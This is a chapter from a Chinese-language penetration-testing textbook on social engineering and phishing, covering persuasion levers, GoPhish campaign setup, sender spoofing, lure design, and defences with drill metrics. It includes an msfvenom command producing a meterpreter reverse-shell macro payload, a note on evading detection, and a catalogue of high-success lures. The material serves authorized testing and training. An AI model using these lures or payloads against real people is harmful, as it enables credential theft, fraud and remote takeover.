第 89 章 社会工程与钓鱼工程
社会工程(Social Engineering)= 攻击"人"而非"系统"——据统计,多数攻击链从人开始(钓鱼/社工)。本章覆盖社工原理、钓鱼工程全流程(GoPhish/克隆/诱饵)、邮件伪造、以及防御与教育。技术的最终入口往往是人的一次点击。
📍 知识点地图 | 主题:社工钓鱼 | 前置:第73章 | 后续:— | 核心概念:心理杠杆、GoPhish、邮件伪造、附件
89.1 社会工程原理(先懂心理机制)
社工的心理杠杆(Cialdini 影响力原则):
权威(Authority): "我是 IT 部门的"
紧迫(Urgency): "账户即将被锁定!立即处理"
信任(Liking): 模仿/友好/共同点
互惠(Reciprocity): 先给点好处
从众(Social Proof): "大家都这么做了"
稀缺(Scarcity): "只剩最后机会"
攻击流程(和渗透同构):
侦察(目标信息)→ 诱饵(投递)→ 交互(引导)→ 达成(凭据/执行)
89.2 钓鱼类型(先分类)
按渠道:
邮件钓鱼(Email Phishing): 最常见
鱼叉(Spear): 针对个人定制(高成功率)
鲸钓(Whaling): 针对高管
SMS/短信钓鱼(Smishing)
语音钓鱼(Vishing)
水坑(Watering Hole): 污染目标常访问的网站
Evil Twin(第 84 章): WiFi 钓鱼
按目标:
凭据钓鱼(登录页)
附件恶意文档(宏/漏洞文档)
链接投递(恶意网站)
BEC(商务邮件诈骗: 冒充 CEO 要求转账/发敏感数据)
89.3 钓鱼工程全流程(工程化)
1. 侦察: 目标员工/邮箱/组织结构(第 57.3 员工画像)
2. 平台: GoPhish(开源钓鱼平台)搭建
3. 克隆/构造: 克隆目标登录页/构造邮件模板
4. 投递: 邮件群发/定向(伪造发件人,第 89.4)
5. 追踪: GoPhish 记录点击/提交(谁点了/提交了什么)
6. 落地: 凭据收集/后续利用(第 62 章)
7. 报告: 点击率/提交率/受影响账号
GoPhish 使用:
go gophish # 启动(管理界面 + 发信)
# 流程: Sending Profiles(发信配置)→ Landing Pages(钓鱼页)
# → Email Templates(邮件模板)→ Campaigns(活动)
# 追踪: 打开率/点击率/凭据提交率
89.4 邮件伪造与投递(让邮件"可信")
伪造发件人(三种形态):
1. 显示名伪装: 显示名 = 老板名字(邮箱地址真实可见差异)
2. 相似域名: 用 google.com-evil.com 之类(肉眼难辨)
3. 完整伪造: SPF/DKIM/DMARC 缺陷(第 73.6)→ 冒充任意域名
检查目标的邮件认证(投递前):
dig TXT <domain> # SPF
dig TXT _dmarc.<domain> # DMARC(none = 可伪造)
dig TXT selector._domainkey.<domain> # DKIM
对抗检测: 邮件头检查/内容分析/链接信誉
89.5 恶意附件(钓鱼的"执行"载荷)
形态:
1. 恶意文档(Office 宏):
诱导启用宏 → 执行 PowerShell 下载执行
2. 漏洞文档(CVE 触发): 老版本 Office/PDF 漏洞
3. 恶意 LNK/ISO/压缩包: 点击执行
4. 双扩展名伪装: invoice.pdf.exe
制作(测试环境/授权):
msfvenom -p windows/meterpreter/reverse_tcp LHOST=x LPORT=4444 \
-f vba-psh -o payload.ps1 # 宏载荷
# 嵌入 Word 宏(VBA Stomping 可对抗检测)
防护: 宏策略/附件沙箱/EDR(第 41 章对抗)
89.6 诱饵场景设计(成功率的关键)
高成功率场景(红队经验):
□ 密码过期: "您的密码将于今天过期,请立即更新"(点→伪造登录页)
□ 共享文档: "您的文件已共享,点击查看"(Google Docs 类伪装)
□ 人事/薪酬: HR 主题(薪资调整/入职表格)
□ 发票/付款: 财务主题(BEC)
□ IT 通知: 邮件配额/安全警告(伪造 IT 部门)
□ 快递/包裹: 物流通知(通用)
设计原则:
□ 时机相关(周一早/季度末/事件后)
□ 个性化(用目标真实姓名/部门)
□ 少文字多按钮(减少阅读)
□ 低期望成本("只需登录查看")
89.7 防御与教育(蓝队视角)
技术防御:
□ 邮件安全网关(SPF/DKIM/DMARC 强制)
□ 链接重写/沙箱(点击前检测)
□ 附件沙箱分析
□ 强 MFA(凭据被盗也难用)
□ 异常转发/登录监控
人为防御(同样重要):
□ 定期钓鱼演练(GoPhish 内部)
□ 教育: 检查发件人/悬停链接/直接访问官网
□ 报告文化: 报告可疑邮件不惩罚
□ 双重确认: 转账/敏感操作的二次验证
89.8 钓鱼演练指标(衡量效果)
□ 打开率(邮件被打开比例)
□ 点击率(点击链接比例)
□ 提交率(提交凭据比例——最严重)
□ 报告率(主动上报可疑邮件的比例——防御质量!)
目标: 点击率下降 + 报告率上升 = 教育有效
89.9 社工/钓鱼检查清单
□ 目标侦察(人员/邮箱/习惯)
□ 场景设计(时机/个性化)
□ 平台搭建(GoPhish)
□ 邮件伪造(SPF/DMARC 评估)
□ 钓鱼页克隆(HTTPS+相似)
□ 追踪配置(点击/提交)
□ 落地衔接(凭据→横向)
□ 报告: 指标+受影响账号
□ 红线: 授权范围/不越界(第 64.7)
动手练习
- 用 GoPhish 在自己的测试域搭一个钓鱼演练(克隆一个登录页,追踪点击)。
- 分析一封真实钓鱼邮件(或公开样本)的邮件头,识别它的伪造技术。
- 用 msfvenom 生成一个宏载荷(授权测试环境),理解附件攻击形态。
- 设计 3 个高成功率诱饵场景(针对你熟悉的环境),说明为什么有效。
深入阅读
- 仓库:
skills/attack-chain/SKILL.md(钓鱼攻击阶段) - 仓库:
CTF-Sandbox-Orchestrator/competition-mailbox-abuse/(邮件滥用) - 仓库:
skills/attack-chain/references/attack-playbooks.md(钓鱼 playbook) - 外部: GoPhish 文档、SANS 社工课程、Cialdini 影响力原则